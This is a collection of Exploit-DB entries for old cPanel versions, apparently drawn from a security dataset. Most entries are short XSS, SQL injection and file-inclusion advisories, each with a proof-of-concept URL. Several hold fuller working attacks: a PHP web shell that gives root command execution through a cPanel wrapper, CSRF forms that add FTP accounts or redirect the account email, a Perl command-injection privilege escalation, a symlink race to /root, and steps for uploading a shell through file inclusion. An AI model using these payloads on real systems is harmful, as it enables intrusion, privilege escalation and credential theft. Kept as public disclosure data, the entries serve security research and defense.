deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28414
Description: cPanel 10.x - 'editit.html?File' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-21
Author: preth00nker

Exploit:
source: https://www.securityfocus.com/bid/19624/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
http://www.example.com/frontend/x/files/editit.html?dir=/&file=[code]
Exploit-DB #28415
Description: cPanel 10.x - 'showfile.html?File' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-21
Author: preth00nker

Exploit:
source: https://www.securityfocus.com/bid/19624/info
  
cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
http://www.example.com/frontend/x/files/showfile.html?dir=/&file=[code]
Exploit-DB #29572
Description: cPanel 11 - PassWDMySQL Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-08
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/22474/info

cPanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel 11.0.0 and prior versions are vulnerable to this issue. 

http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password
Exploit-DB #29181
Description: cPanel 11 Beta - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21287/info

cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel version 11 beta is vulnerable; other versions may also be affected.

http://www.example.com/frontend/x/files/fileop.html?opdir=[PATH]&opfile=[FILENAME]&fileop=XSS
http://www.example.com/frontend/x/files/createdir.html?dir=XSS
http://www.example.com/frontend/x/err/erredit.html?dir=XSS
http://www.example.com/frontend/x/err/erredit.html?dir=[DIRNAME]&file=XSS
http://www.example.com/frontend/x/files/createfile.html?dir=XSS
Exploit-DB #29237
Description: cPanel 11 BoxTrapper - Manage.HTML Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-08
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21497/info

cPanel BoxTrapper is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel 11 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/frontend/xtest/mail/manage.html?account=
Exploit-DB #31439
Description: cPanel 11.18.3 - List Directories and Folders Information Disclosure
Type: webapps
Platform: php
Date: 2008-03-18
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/28300/info

cPanel is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to determine programs that are running on the affected server and to view folders on other sites that are protected by a firewall. Information obtained may lead to further attacks.

http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/home/user/.htpasswds
http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/var
Exploit-DB #31472
Description: cPanel 11.18.3/11.21 - 'manpage.html' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-22
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/28403/info

cPanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/frontend/x/manpage.html?<xss>
Exploit-DB #31807
Description: cPanel 11.21 - 'wwwact' Privilege Escalation
Type: webapps
Platform: php
Date: 2008-05-19
Author: Ali Jasbi

Exploit:
source: https://www.securityfocus.com/bid/29277/info

cPanel is prone to a remote privilege-escalation vulnerability because of an unspecified error.

Successfully exploiting this issue allows remote attackers to gain administrative privileges to the affected application and execute malicious PHP code in the context of the webserver process. This may facilitate a compromise of the webserver and the underlying system; other attacks are also possible. 

Test it:
++++++++++++++++++++++++++
Step 1

Save this file in /home/user/public_html/do.pl .
#!/usr/bin/perl
$old='/home/user/public_html/test.txt';
$new='/home/root/kon.txt';
rename $old, $new;
++++++++++++++++++++++++++
step 2

make a text file named test.txt in your public_html directory.
path will be : /home/user/public_html/test.txt .
++++++++++++++++++++++++++
step 3

create an account and write ali@hackerz.ir;./home/user/public_html/do.pl in E-mail Address text box
then click on the "create" button.
Yes , you can find your file in /home/root/ .
++++++++++++++++++++++++++
()()()()()()()()()()()()()
you can run your own code !(mass defacer, exploit's or everything that u want).
Enjoy it...
Exploit-DB #34255
Description: cPanel 11.25 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-07-03
Author: G0D-F4Th3r

Exploit:
source: https://www.securityfocus.com/bid/41391/info

cPanel is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions. This may lead to further attacks.

cPanel 11.25 is vulnerable; other versions may also be affected.

<html>
<body onload="javascript:fireForms()">
<form method="POST" name="form0" action="
http://www.example.com/frontend/x3/ftp/doaddftp.html">
<input type="hidden" name="login" value="name"/>
<input type="hidden" name="password" value="pass"/>
<input type="hidden" name="password2" value="pass"/>
<input type="hidden" name="homedir" value="/"/>
<input type="hidden" name="quota" value="unlimited"/>
</form>
</body>
</html>
Exploit-DB #14188
Description: cPanel 11.25 - Cross-Site Request Forgery (Add FTP Account)
Type: webapps
Platform: php
Date: 2010-07-03
Author: G0D-F4Th3r

Exploit:
# Exploit Title: Cpanel 11.25 - [CSRF] Add FTP Account
# Author: G0D-F4Th3r
# Software Link: http://www.cpanel.net/
# Version: 11.25

#######################Exploit#######################################
<html>
<body onload="javascript:fireForms()">
<form method="POST" name="form0" action="
http://server:2082/frontend/x3/ftp/doaddftp.html">
<input type="hidden" name="login" value="name"/>
<input type="hidden" name="password" value="pass"/>
<input type="hidden" name="password2" value="pass"/>
<input type="hidden" name="homedir" value="/"/>
<input type="hidden" name="quota" value="unlimited"/>
</form>
</body>
</html>
###########################################################################
Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My
Friends
###########################################################################
Exploit-DB #34106
Description: cPanel 11.25 Image Manager - 'target' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-07
Author: AnTi SeCuRe

Exploit:
source: https://www.securityfocus.com/bid/40622/info

cPanel Image Manager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks.

http://www.example.com/frontend/x3/cpanelpro/doconvert.html?target=/etc/
Exploit-DB #31772
Description: cPanel 11.x - '/scripts2/changeip?user' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-09
Author: Matteo Carli

Exploit:
source: https://www.securityfocus.com/bid/29125/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/scripts2/changeip?domain=any&user=[INJECTION]
Exploit-DB #31771
Description: cPanel 11.x - '/scripts2/knowlegebase?issue' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-09
Author: Matteo Carli

Exploit:
source: https://www.securityfocus.com/bid/29125/info

cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/scripts2/knowlegebase?issue=[INJECTION]&domain=
Exploit-DB #31773
Description: cPanel 11.x - '/scripts2/listaccts?search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-09
Author: Matteo Carli

Exploit:
source: https://www.securityfocus.com/bid/29125/info
  
cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/scripts2/listaccts?searchtype=domain&search=[INJECTION]&acctp=30
Exploit-DB #6461
Description: cPanel 11.x - 'Fantastico' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-14
Author: joker_1

Exploit:
##############################################################
Fantastico In all Version Cpanel 11.x <= local File Include

##############################################################


Must login to  :2082
To break the protection   mod_security  & safe_mode: off  & Disable functions :  all none

 

Vulnerable Code

$licensing_servers=$fantasticopath . "/includes/enc_licensing_servers.php";
if (is_file($licensing_servers))
       {
       include($licensing_servers);


in

http://xx.com:2082/frontend/x/fantastico/includes/xml.php


Exploit >>

First Create directory Let the name  /includes/ and upload Shell.php  in  /includes/  Then  rename it to enc_licensing_servers.php


:::xploit::::

http://xxx.com:2082/frontend/x/fantastico/includes/xml.php?fantasticopath=/home/user

 

###################################################

Discoverd By : joker_1

 

for info : pl57@msn.com

 

###################################################

Special Greetings :- sniper-sa.com & Group XP & Alm3reFh.Com & Genral kbkb & step on the snow & red trigger & qalbhamad & saudi star

###################################################

# milw0rm.com [2008-09-14]
Exploit-DB #33417
Description: cPanel 11.x - 'fileop' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-17
Author: RENO

Exploit:
source: https://www.securityfocus.com/bid/37394/info

cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

cPanel versions prior to 11.25.0 are affected. 


http://www.example.com:2082/frontend/x3/files/fileop.html?opdir=[PATH]&opfile=[FILENAME]&fileop=XSS

http://www.example.com:2082/frontend/x3/files/dofileop.html?fileop=&opdir=&opfile=&dir=%2fhome%2fuser%2ftmp&fileop=HaCkED%20by%20RENO
Exploit-DB #15593
Description: cPanel 11.x - Cross-Site Request Forgery (Edit E-mail)
Type: webapps
Platform: php
Date: 2010-11-21
Author: Mon7rF .

Exploit:
# Exploit Title: Cpanel 11.X Edit E-mail  Cross Site Request Forgery exploit
# Date: 22 - 10 - 2010
# Author: Mon7rF
# Mail : X0h@msn.com
# Tested on: Windows 7

--------------------------------------------------------------------------------------

<form onsubmit="return do_validate(this.id);" id="mainform" name="mainform"  
action="http://www.site.com:2082/frontend/x3/contact/saveemail.html">

<input id="email"                    name="email"                    type="hidden" value="X0h@msn.com">
<input id="second_email"             name="second_email"             type="hidden" value="">
<input id="notify_disk_limit"        name="notify_disk_limit"        type="hidden" value="1">
<input id="notify_bandwidth_limit"   name="notify_bandwidth_limit"   type="hidden" value="1">
<input id="notify_email_quota_limit" name="notify_email_quota_limit" type="hidden" value="1">

<input type="submit" class="input-button" value="Save">

</form>

--------------------------------------------------------------------------------------

Gr33ts : RENO - Mr.M3x - all Member p0c Team ..
Exploit-DB #6897
Description: cPanel 11.x - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-31
Author: Khashayar Fereidani

Exploit:
----------------------------------------------------------------

Script : Cpanel 11.x

Type : Local File Inclusion & Cross Site Scripting

Risk : High

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

**** I am 17 Years Old ****

My Official Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Team Members : Khashayar Fereidani - Hadi Kiamarsi - Sina YazdanMehr

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Local File Inclusion Vulnerability :

Note : Rename your shell to config.php and upload with your ftp account in ./ directory .... , now login in cpanel and
       enter vulnerable address in url ....


https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x2/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

----------------------------------------------------------------

Cross site scripting :

File Address : frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrade%20to%201.7.4

Set Action as Upgrade%20to%201.7.4

Vulnerable Variables :

$localapp
$updatedir
$scriptpath_show
$domain_show
$thispage
$thisapp
$currentversion

For Example : https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrade%20to%201.7.4&localapp=%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E


----------------------------------------------------------------

                        Tnx : God

          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------

# milw0rm.com [2008-10-31]
Exploit-DB #28660
Description: cPanel 5-10 - SUID Wrapper Privilege Escalation
Type: webapps
Platform: php
Date: 2006-09-24
Author: Nima Salehi

Exploit:
source: https://www.securityfocus.com/bid/20163/info

cPanel is prone to a remote privilege-escalation vulnerability.

A remote attacker can exploit this issue to gain administrative access to the affected application. This may lead to other attacks.

<!- for use old cpanel exploit ( http://www.milw0rm.com/exploits/2466 ) you need have
<!- bash shell access on victim server but with this new exploit you only need
<!- to upload php file and run this into browser on victim servers.
<!- then you have root Access and you can do anything ....
<!- Coded by nima salehi ( nima@ashiyane.ir )
<!- Ashiyane Security Corporation www.Ashiyane.ir >
<title>cPanel <= 10.8.x cpwrap root exploit (PHP)</title>
<center><img border="2" src="http://www.ashiyane.ir/images/logo.jpg" width="429" height="97"><br><br>
<?

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
echo "<br><br><br><br><br><b>Sorry Safe-mode Is On ( Script Not Work On This Server ) </b><br><br><br><br><br>";
echo "<br><br><br>Powered By Ashiyane Security Corporation <a href=\"http://www.ashiyane.ir\"> www.Ashiyane.ir";
exit();
}

$disablef = @ini_get("disable_functions");
if (!empty($disablef))
{
 $disablef = str_replace(" ","",$disablef);
 $disablef = explode(",",$disablef);
 if (in_array("passthru",$disablef))
 {
 echo "<br><br><br><br><br><b>Sorry Passthru Is Disable ( Script Not Work On This Server ) </b><br><br><br><br><br>";
 echo "<br><br><br>Powered By Ashiyane Security Corporation <a href=\"http://www.ashiyane.ir\"> www.Ashiyane.ir";
 exit();
 }
}

?>

<form method="POST" action="<?php echo $surl; ?>">
Command : <input type="text" name="c" size="40">
<input type="submit" value="  Run  " name="B1"></form>
<textarea cols="60" rows="20" readonly>
<?php
$cmd=$_POST['c'];
if ( $cmd != "" )
{
$f=fopen("/tmp/strict.pm", "w");
fputs($f,'system("'.$cmd.'");');
fclose($f);
passthru("PERL5LIB=/tmp /usr/local/cpanel/bin/mysqlwrap nima");
}
?>
</textarea>
<br>
Powered By  Ashiyane Security Corporation <a href="http://www.ashiyane.ir"> www.Ashiyane.ir
</center>
Exploit-DB #24172
Description: cPanel 5-9 - Killacct Script Customer Account DNS Information Deletion
Type: webapps
Platform: php
Date: 2004-06-05
Author: qbann targ

Exploit:
source: https://www.securityfocus.com/bid/10468/info

cPanel is prone to a vulnerability that can allow a remote authenticated administrator to delete customer account DNS information for customers that are not administered by that administrator. This attack can allow an attacker to cause a denial of service condition against vulnerable Web sites. 

http://www.example.com:2086/scripts/killacct?domain=(domain)&user=(user)&submit-domain=Terminate
Exploit-DB #24183
Description: cPanel 5-9 - Passwd SQL Injection
Type: webapps
Platform: php
Date: 2004-06-09
Author: verb0s@virtualnova.net

Exploit:
source: https://www.securityfocus.com/bid/10505/info

cPanel is reportedly affected by a remote SQL injection vulnerability in the passwd script. This issue is due to a failure of the application to properly sanitize user-supplied URI parameter input before using it in an SQL query.

The problem presents itself when malicious SQL statements are passed to the 'passwd' script through URI parameters.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

http://www.example.com:2086/scripts/passwd?password=<>&domain=<>&user=<>
Exploit-DB #22874
Description: CPanel 5.0/5.3/6.x - Admin Interface HTML Injection
Type: webapps
Platform: php
Date: 2003-07-07
Author: Ory Segal

Exploit:
source: https://www.securityfocus.com/bid/8119/info

cPanel is prone to an HTML injection vulnerability. It is possible for remote attacks to include hostile HTML and script code in requests to cPanel, which will be logged. When logs are viewed by an administrative user, the injected code could be rendered in their browser in the context of the site hosting cPanel.

GET /<script>alert(document.cookie);</script> HTTP/1.0
Host: www.example.com
Exploit-DB #22693
Description: cPanel 5/6 / Formail-Clone - E-Mail Restriction Bypass
Type: webapps
Platform: php
Date: 2003-05-30
Author: Chad C. Keep

Exploit:
source: https://www.securityfocus.com/bid/7758/info

It has been reported that cPanel is prone to an issue where a remote attacker may bypass cPanel Formail-clone local domain checks and have untrusted e-mail delivered in the context of the vulnerable host.

This issue may be exploited by an attacker to use the vulnerable host as an open relay. 

<input type="hidden" name="recipient"
value="user1@offsitedomain.(localdomain)co
m, user2@offsitedomain.(localdomain)com">
Exploit-DB #25846
Description: cPanel 9.1 - 'User' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-20
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/13996/info

It is reported that cPanel is prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'user' parameter of the 'login' page.

Due to the possibility of attacker-specified HTML and script code being rendered in a victim's browser, it is possible to steal cookie-based authentication credentials from that user. Other attacks are possible as well. 

http://www.example.com:2082/login?user=**<script>JavaScript:alert(document.cookie);</script>
Exploit-DB #24689
Description: cPanel 9.9.1 -R3 Front Page Extension - Installation Information Disclosure
Type: webapps
Platform: php
Date: 2004-10-18
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/11456/info

It is reported that cPanel is susceptible to an information disclosure vulnerability in its function to enable Front Page extensions.

This vulnerability reportedly allows attackers to gain access to the contents of arbitrary, potentially sensitive files. This may aid them in further attacks.

Version 9.9.1-RELEASE-3 of cPanel was reported vulnerable. Other versions may also be affected.

while [ 1 ]; do if [ -d "_private" ]; then rm -fr _private; ln -s /root _private; break; fi; done